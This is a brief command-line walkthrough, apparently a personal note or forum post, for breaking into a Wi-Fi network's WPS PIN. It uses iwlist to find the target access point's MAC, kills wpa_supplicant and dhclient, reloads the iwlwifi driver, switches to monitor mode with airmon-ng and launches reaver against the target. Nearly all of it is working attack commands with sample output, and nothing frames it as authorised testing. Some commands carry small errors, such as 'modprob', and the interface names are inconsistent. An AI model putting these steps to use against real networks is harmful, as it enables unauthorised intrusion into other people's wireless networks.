Tested on debian system only.
First get mac address of the target cell;
# iwlist wlp2s0 scan
Example output that matter;
Cell 03 - Address: A8:A6:68:98:0C:C5
# airmon-ng check Found 5 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 1271 wpa_supplicant 1576 wpa_supplicant 1633 dhclient Process with PID 1576 (wpa_supplicant) is running on interface wlan0 Process with PID 1633 (dhclient) is running on interface wlan0
Pkill or kill all of them, ex 1271;
# kill -15 1271
If that fails;
# kill -9 1271
Just to be sure that everything is as it should;
# rmmod iwlmvm # rmmod iwlwifi # modprob iwlwifi
Put interface in monitor mode;
# iwconfig wlp2s0 mode monitor # ifconfig wlp2s0 up
# airmon-ng start wlp2s0 Interface Chipset Driver wlp2s0 Intel AC iwlwifi - [phy1] (monitor mode enabled on mon0)
Put mon0 on same channel of target cell;
# iwconfig mon0 channel 6
Start the magic;
# reaver -i mon0 -b A8:A6:68:98:0C:C5 -vv